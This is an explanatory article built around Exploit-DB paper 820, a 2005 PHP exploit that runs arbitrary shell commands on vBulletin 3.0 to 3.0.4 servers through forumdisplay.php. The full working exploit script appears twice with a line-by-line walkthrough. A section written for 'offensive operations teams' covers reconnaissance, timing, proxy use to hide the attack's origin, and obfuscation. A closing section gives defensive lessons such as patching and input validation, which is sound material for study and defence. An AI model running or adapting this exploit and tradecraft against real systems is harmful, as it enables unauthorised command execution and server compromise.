vBulletin 3.0.4 'forumdisplay.php' Code Execution Explained

vBulletin 3.0.4 'forumdisplay.php' Code Execution Explained
What this paper is
This paper details a vulnerability in vBulletin versions 3.0 up to and including 3.0.4. It describes how an attacker, under specific conditions, can execute arbitrary commands on the web server hosting the vBulletin forum. The exploit leverages a flaw in how the forumdisplay.php script handles certain parameters, allowing for command injection.
Simple technical breakdown
The core of the vulnerability lies in the forumdisplay.php script. When a user visits a forum page, the script displays information about users who are currently viewing that forum. The exploit tricks the script into including a specially crafted string in a database query or internal variable. This string contains a command that the server then executes.
The exploit works by:
- Injecting a variable: It uses the
GLOBALSparameter in the URL to inject a variable that the script might process. - Controlling output: It manipulates the
f(forum ID) parameter and adds acommaparameter. Thiscommaparameter is where the malicious command is embedded. - Leveraging PHP's behavior: In older PHP versions (and with certain configurations), when
GLOBALSis used this way, it can lead to the script processing variables in an unexpected order or with unintended scope. The exploit specifically targets thecommaparameter to inject commands that are then executed.
There are several prerequisites for this exploit to be successful:
- The vBulletin administrator must have enabled the "show forum users" option.
- The attacker must be an unauthenticated user (a guest).
- The specific forum being targeted must have at least one user currently viewing it.
- PHP's
magic_quotes_gpcsetting must be disabled.
Complete code and payload walkthrough
The provided PHP script is a standalone exploit tool. Let's break down its components.
<?php
/**************************************************************
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# First condition : $vboptions['showforumusers'] == True , the admin must set
# showforumusers ON in vbulletin options.
# Second condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .
# Third condition : $DB_site->fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
#
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
#
**************************************************************/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";
exit;
}
if ($argv[4])
$proxy = $argv[4];
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
?>
// milw0rm.com [2005-02-15]Code Fragment/Block -> Practical Purpose
Header Comments:
<?php ... ?>: Standard PHP opening and closing tags./* ... */: Multi-line comments explaining the vulnerability, conditions, vulnerable/immune systems, and author information. This is crucial for understanding the context and limitations.
if (!(function_exists('curl_init')))block:- Purpose: Checks if the cURL extension is available on the system running the script. cURL is used for making HTTP requests.
- Behavior: If
curl_initfunction doesn't exist, it prints an error message and exits. - Output: "cURL extension required\n" or program continues.
if ($argv[3])block (Argument Parsing):- Purpose: This block handles the command-line arguments provided to the PHP script. It expects at least three arguments: URL, forum ID, and the command to execute.
- Behavior:
$argv[0]is the script name itself.$argv[1]is assigned to$url.$argv[2]is assigned to$forumidand converted to an integer usingintval(). This is a basic sanitization step, but the vulnerability bypasses it.$argv[3]is assigned to$command.
- Output: Populates
$url,$forumid, and$commandvariables.
elseblock (Usage Information):- Purpose: If the required arguments are not provided (i.e.,
$argv[3]is not set), this block prints usage instructions and exits. - Behavior: Displays how to run the script, explains each argument, and provides an example.
- Output: Usage instructions and example command.
- Purpose: If the required arguments are not provided (i.e.,
if ($argv[4])block (Proxy Handling):- Purpose: Checks for an optional fourth argument, which is a proxy URL.
- Behavior: If
$argv[4]exists, it assigns its value to the$proxyvariable. - Output: Populates
$proxyvariable if provided.
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".echo START.'.$command.'.echo END."';:- Purpose: This is the core of the exploit payload construction. It crafts the URL that will be sent to the vulnerable vBulletin instance.
- Behavior:
forumdisplay.php: The target script.GLOBALS[]=1: This is a crucial part. In older PHP versions, usingGLOBALS[]in a GET parameter could lead to theGLOBALSarray being populated with values from other parameters. The1is likely a placeholder or a value that helps trigger the intended behavior.f='.$forumid: The forum ID parameter, passed as an integer.comma=".echo START.'.$command.'.echo END.": This is where the command injection happens.comma=: A parameter name......: String concatenation.`echo _START_`: This part uses backticks (`) for command execution in PHP. It executesecho _START_to mark the beginning of the output we want to capture.`'.$command.'`: This is the actual command to be executed on the server. The command is enclosed in backticks, telling PHP to execute it and return its output.`echo _END_`: Similar to_START_, this marks the end of the captured output.
- Output: A string representing the crafted URL with injected command.
cURL Initialization and Execution:
$ch=curl_init();: Initializes a cURL session.if ($proxy){ curl_setopt($ch, CURLOPT_PROXY,$proxy); }: If a proxy was specified, sets the proxy option for the cURL request.curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);: Sets the target URL for the cURL request, combining the base URL with the crafted$actionstring.curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);: Tells cURL to return the response as a string instead of outputting it directly.$res=curl_exec ($ch);: Executes the cURL request and stores the response in the$resvariable.curl_close ($ch);: Closes the cURL session.
Output Parsing:
$res = substr($res, strpos($res, '_START_')+7);: This line takes the raw response ($res) and finds the position of_START_. It then extracts the substring starting 7 characters after_START_(to skip_START_itself).$res = substr($res,0, strpos($res, '_END_'));: This line takes the already partially processed$resand finds the position of_END_. It then extracts the substring from the beginning up to (but not including)_END_.- Purpose: These two
substroperations are designed to isolate and display only the output of the executed command, removing any surrounding HTML or other response data from the vBulletin page. - Output: The cleaned output of the executed command.
echo $res;:- Purpose: Prints the extracted command output to the console.
// milw0rm.com [2005-02-15]:- Purpose: A comment indicating the source and publication date of the exploit.
Practical details for offensive operations teams
- Required Access Level: Unauthenticated (guest) access to the target vBulletin site.
- Lab Preconditions:
- A vulnerable vBulletin instance (3.0 to 3.0.4) must be set up.
- The vBulletin option
$vboptions['showforumusers']must be enabled. magic_quotes_gpcmust be disabled in the target server's PHP configuration.- The target forum must have at least one active guest user browsing it at the time of execution. This is the trickiest condition to meet reliably without prior reconnaissance or social engineering.
- The target server must be reachable from the attacker's machine.
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine to run the exploit script.
- cURL extension enabled in the PHP interpreter.
- Knowledge of the target vBulletin site's URL and a valid
forumid.
- Execution Pitfalls:
showforumusersnot enabled: The exploit will fail if this option is off.magic_quotes_gpcenabled: This would escape the quotes in the injected command, preventing execution.- No active guests: If no guests are browsing the target forum, the condition
$DB_site->fetch_array($forumusers) == Truewill fail, and the exploit will not proceed as intended. - Incorrect
forumid: Using a non-existent or incorrect forum ID will lead to a different page being rendered, and the exploit payload might not be processed correctly. - Network issues/Firewalls: Standard network connectivity issues can prevent the exploit from reaching the target.
- WAFs/IDS: While less sophisticated in 2005, modern Web Application Firewalls or Intrusion Detection Systems might flag the unusual URL structure, especially the
GLOBALS[]and backtick usage. - PHP Version/Configuration: While the paper specifies PHP versions, subtle differences in PHP configurations or specific vBulletin patches could alter behavior.
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the vBulletin version and check if
showforumusersis enabled. This might involve analyzing page source, looking for specific JavaScript, or checking forum settings if access is available. - Timing: The "active guest" condition is ephemeral. The attacker might need to attempt the exploit during periods of high forum activity or coordinate with other team members to ensure a guest is present.
- Obfuscation: The exploit script itself is plain PHP. For more stealth, an attacker might wrap this in a more complex script or use different methods to deliver the payload.
- Proxy Usage: The inclusion of proxy support suggests an awareness of network logging and a desire to mask the origin of the attack.
- Reconnaissance: Thoroughly identify the vBulletin version and check if
- Expected Telemetry:
- Network Traffic: A GET request to
forumdisplay.phpwith unusual parameters likeGLOBALS[]=1andcomma=".echo START...echo END.". - Web Server Logs: Access logs showing the request to
forumdisplay.php. If the command execution is successful, the web server might also log the execution of the injected command (e.g., if the command itself writes to a log file or spawns a process). - Application Logs: vBulletin's own logs might show errors or unusual activity if the script execution fails or if the injected command causes unexpected behavior within the application.
- System Logs: If the injected command is something like
idorwhoami, the server's system logs (e.g.,/var/log/auth.logor similar) might record the execution of these commands by the web server user.
- Network Traffic: A GET request to
Where this was used and when
This exploit was published in February 2005. At that time, vBulletin was a popular forum software. Exploits targeting such widely used platforms were common. Given the publication date, it's likely this vulnerability was exploited in the wild shortly after its discovery or publication, targeting websites running vBulletin 3.0 to 3.0.4. The specific context would be any website using this vulnerable version for its community forums.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of timely patching. vBulletin 3.0.5 and 3.0.6 were released to fix this vulnerability, highlighting the need to keep web applications updated.
- Input Validation and Sanitization: Developers must rigorously validate and sanitize all user-supplied input, especially when it's used in database queries or passed to system commands. The
GLOBALSparameter injection and the use of backticks for command execution are classic examples of what happens when input isn't properly handled. - Secure Configuration: Disabling features that are not strictly necessary (like
showforumusersif not essential) can reduce the attack surface. Similarly, ensuringmagic_quotes_gpc(or its modern equivalents/related security features) is enabled and configured correctly is vital. - Principle of Least Privilege: Web server processes should run with the minimum necessary privileges. This limits the impact of a successful command execution, preventing attackers from easily escalating privileges or accessing sensitive system files.
- Web Application Firewalls (WAFs): Modern WAFs can detect and block requests with suspicious patterns, such as the
GLOBALS[]array manipulation or the use of command execution characters in URL parameters. - Logging and Monitoring: Comprehensive logging of web server access and application events, coupled with effective monitoring, can help detect and alert on anomalous activity, such as unusual GET requests or unexpected command executions.
ASCII visual (if applicable)
This exploit relies on manipulating URL parameters and PHP's internal handling, rather than a complex network architecture. A simple flow diagram is more appropriate.
+-----------------+ +-----------------------+ +-----------------------+
| Attacker's |----->| vBulletin Server |----->| Vulnerable Script |
| Machine | | (Web Server) | | (forumdisplay.php) |
+-----------------+ +-----------------------+ +-----------------------+
| |
| Craft URL with | Processes URL
| `GLOBALS[]=1&f=...&comma=...` | parameters
| |
| v
| +-----------------------+
| | Command Injection |
| | (via `comma` param) |
| +-----------------------+
| |
| v
| +-----------------------+
|<-----------------------------------------------| Execute Command |
| | (e.g., `echo _START_` |
| | `ls -al` `echo _END_`)|
| +-----------------------+
| |
| v
| +-----------------------+
| | Server Response |
| | (HTML + Command Output|
| | wrapped in _START_/_END_)|
| +-----------------------+
|
| Parse Response to extract command output
|
v
+-----------------+
| Attacker's |
| Console |
+-----------------+Source references
- Paper ID: 820
- Paper Title: vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)
- Author: AL3NDALEEB
- Published: 2005-02-15
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/820
- Raw URL: https://www.exploit-db.com/raw/820
Original Exploit-DB Content (Verbatim)
<?php
/**************************************************************
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# First condition : $vboptions['showforumusers'] == True , the admin must set
# showforumusers ON in vbulletin options.
# Second condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .
# Third condition : $DB_site->fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
#
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
#
**************************************************************/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";
exit;
}
if ($argv[4])
$proxy = $argv[4];
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
?>
// milw0rm.com [2005-02-15]